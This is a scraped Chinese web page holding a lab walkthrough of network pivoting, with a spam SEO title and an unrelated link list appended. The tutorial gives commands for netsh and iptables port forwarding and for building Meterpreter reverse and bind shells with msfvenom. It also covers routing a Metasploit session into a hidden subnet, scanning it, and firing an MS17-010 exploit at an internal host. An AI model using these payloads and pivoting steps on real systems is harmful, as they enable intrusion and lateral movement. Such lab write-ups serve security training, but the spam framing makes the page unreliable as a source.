当前位置: 首页 > news >正文

电商设计参考网站百度快照优化的优势是什么

电商设计参考网站,百度快照优化的优势是什么,建设专业网站电话咨询,网站加速打开一、使用netsh进行端口转发 1、配置端口转发 (1)先在Windows7上启动一个Xampp的,服务(80)端口或者其他服务(2016可以进行访问,kali不能访问) (2)在Windows2016服务器上,运行以下命令,完成端口转发 netsh…

一、使用netsh进行端口转发

1、配置端口转发

(1)先在Windows7上启动一个Xampp的,服务(80)端口或者其他服务(2016可以进行访问,kali不能访问)

(2)在Windows2016服务器上,运行以下命令,完成端口转发

netsh interface portproxy add v4tov4 listenport=8888 connectaddress=192.168.209.129 connectport=80

2、测试端口转发

(1)在Kali上访问http://192.168.3.35:8888/dashboard/phpinfo.php,PHPINFO显示这是一台Windows7的主机,端口转发成功

3、清除转发规则

netsh interface portproxy delete v4tov4 listenport=8888
netsh interface portproxy reset

 一旦清除了,就无法在Kali上进行访问了

 如果Windows2016的防火墙限制了8888端口访问,则此时端口转发将无法生效,所以,还需要寻找更多解决方法 

4、Linux上进行端口转发

#iptables需要先开启:net.ipv4.ip_forward = 1 允许远程转发
iptablese -t nat -A POSTROUTING -d 192.168.153 -p tcp --dport 8088 -j SNAT --to 192.168.112.188
#firewall需要开启IP伪装:firewall-cmd --add-masquerade
firewall-cmd --add-forward-port=port=8888:proto=tcp:toaddr=101.37.65.91:toport=80

二、使用Meterpreter进行端口转发

1、为代理主机生成木马

msfvenom -e x64/xor_dynamic -p windows/meterpreter/reverse_tcp lhost=192.168.3.37 lport=4444 -f exe > win_shell.exe

2、为代理主机配置端口转发

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.3.37
set lport 4444
run

然后进到shell命令下面

运行chcp 65001

改成正常的编码格式

然后输入下面的命令

netsh interface portproxy add v4tov4 listenport=8888 connectaddress=192.168.209.129 connectport=80

执行了这个命令之后,我们就相当于在2016这个主机上做了一个端口转发的事情

接下来为了能够让kali访问到windows7的80端口,我们只需要用Kali去访问一下2016的8888端口就可以了

然后去看一下2016的端口转发列表有没有正常的处理

netsh interface portproxy show all

#在Windows2016上启动木马,获取meterpreter,然后配置端口转发参数给windows 2016直接在meterpreter中输入portfwd add -l 8889 -r 192.168.209.129 -p 80然后直接在kali上直接访问localhost:8889即可

 

不仅仅是80端口服务可以,其他服务也是可以进行的

在Kali上访问Windows7的远程桌面

(1)先确保Windows7的远程桌面服务已经启动

按照上面的步骤,进入到meterpreter中

进入到shell

然后输入下面的命令

我们用2016帮助我们进行转发,先确认能不能连通,也看看执行的时候有没有报错

netsh interface portproxy add v4tov4 listenport=3399 connectaddress=192.168.209.129 connectport=3389

接下来的时候转到kali的终端上执行下面的命令

rdesktop 192.168.3.35:3399

三、使用meterpreter实现正向连接

1、生成正向后门

msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe

2、运行以下指令完成正向连接

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 4444
set rhosts 192.168.3.36

进入到shell之后,运行arp -a ,查看ARP缓存表,确定访问过的IP地址和网段C:\Users\Administrator\Desktop>arp -a
arp -aInterface: 192.168.3.39 --- 0x7Internet Address      Physical Address      Type192.168.3.1           c0-83-c9-09-12-a4     dynamic   192.168.3.38          00-0c-29-ff-9d-47     dynamic   192.168.3.255         ff-ff-ff-ff-ff-ff     static    224.0.0.22            01-00-5e-00-00-16     static    224.0.0.252           01-00-5e-00-00-fc     static    239.255.255.250       01-00-5e-7f-ff-fa     static    255.255.255.255       ff-ff-ff-ff-ff-ff     static    Interface: 192.168.209.132 --- 0x10Internet Address      Physical Address      Type192.168.209.1         00-50-56-c0-00-01     dynamic   192.168.209.255       ff-ff-ff-ff-ff-ff     static    224.0.0.22            01-00-5e-00-00-16     static    224.0.0.252           01-00-5e-00-00-fc     static    239.255.255.250       01-00-5e-7f-ff-fa     static    255.255.255.255       ff-ff-ff-ff-ff-ff     static   

开启一个靶机2003,把它的网络连接设置到仅主机模式,将其藏到内网中

由于windows2016没有和靶机2003进行过ping,也没有进行过任何的连接,所以在2016的缓存表中不存在靶机2003的IP地址

我们先进去2016里面看看有没有路由,先进入meterpreter,然后使用命令run autoroute -p,告诉我们没有路由

使用命令run autoroute -s 192.168.209.0/24去增加对应网段的路由

也可以使用命令run post/multi/manage/autoroute 自动添加木马所在主机上的所有路由

如果实在msf的提示符下使用,也可以使用命令route add来添加路由,如route add 192.168.209.0/24 1(1代表的是Session ID)

然后使用命令run autoroute -p(Meterpreter)去打印路由(在MSF下使用route print)

进入MSF,use auxiliary/scanner/portscan/tcp进行端口扫描

use auxiliary/scanner/portscan/tcp

set rhosts 192.168.209.129

set ports 1-500

set threads 10

run

扫描服务各版本等

不能直接退出去,退出去的话木马就已经没了,无法进行路由

我们应该使用命令background,让木马继续在后台执行

然后查看一下路由,发现路由还在

接下来就执行上面的操作,这个时候,msf通过代理进入到192.168.209.0/24这个网段的内网,然后帮助我们扫描192.168.209.129的端口

 扫描结果出来了

 发现路由里面还有一个主机IP,就是192.168.209.133

set rhosts 192.168.209.133

set ports 21,22,25,80,3306,3389,445,5000,6000

set threads 5

run

经过一顿扫描,发现445端口开放

既然445端口开放,我们试着看看MS17-010是否可以使用

先去搜索一下MS17-010

 use 10

set rhosts 192.168.209.133

或者可以使用命令show options来查看一下需要配置的东西

run

 Exploit completed, but no session was created.木马已经上传成功,就是没有进入到meterpreter中,这种情况是怎么回事

kali可以通过木马植入到2016中去访问2003.但是2003不能去访问kali

是因为我们使用的是反向连接,这么说的话上面的情况就能说通

然后我们继续进行上面的操作,只是将反向连接变为正向连接,改一下payload即可

经过检验,成功地连接上了2003

http://www.cadmedia.cn/news/3597.html

相关文章:

  • asp网站建设教程襄阳网站seo
  • 金坛建设网站深圳网站设计实力乐云seo
  • 做外贸必须关注的20个b2b网站_排名无先后seo百度刷排名
  • 新乡中企网站建设semantics
  • 免费公司网站模版seo关键词优化哪个平台好
  • 龙岗网站建设价位搜索引擎关键词排名优化
  • 深圳企业网站推广论述搜索引擎优化的具体措施
  • 信息图表设计网站新手怎么开始做电商
  • 肖云路那有做网站公司西安疫情最新数据消息中高风险地区
  • 网页设计师培训班大连如何做好seo优化
  • 模板网站建设代理商百度小说搜索风云榜
  • 怎么做网站下载链接百度短链接在线生成
  • 威海泰浩建设集团有限公司网站杭州排名优化公司电话
  • 网站建设中扒站为什么是违法的百度推广云南总代理
  • 英雄联盟网站建设网络营销公司注册找哪家
  • 山东省建设局网站监理员考试seo优化的内容有哪些
  • 企业门户网站建设与发展趋势网站管理工具
  • 网站建设网站定制市场推广计划方案
  • 望野什么意思百度seo优化网站
  • 邯郸网站建设在哪里今日小说搜索风云榜
  • 医院网站建设的资料黄冈网站seo
  • 服装搭配网站建设策划书搜索推广广告
  • 如何查看vs中建设好的网站自动发外链工具
  • 某公司的网站建设的资金预算书网站推广的作用在哪里
  • 房城乡建设部网站百度百度一下首页
  • 优化方案2021版英语seo收录查询
  • 建设网站公司哪个好sem论坛
  • 寻求完善政府网站建设市场调研报告800字
  • 旅游网站怎么用dw做百度seo关键词报价
  • 网站建设运营合同书微博营销软件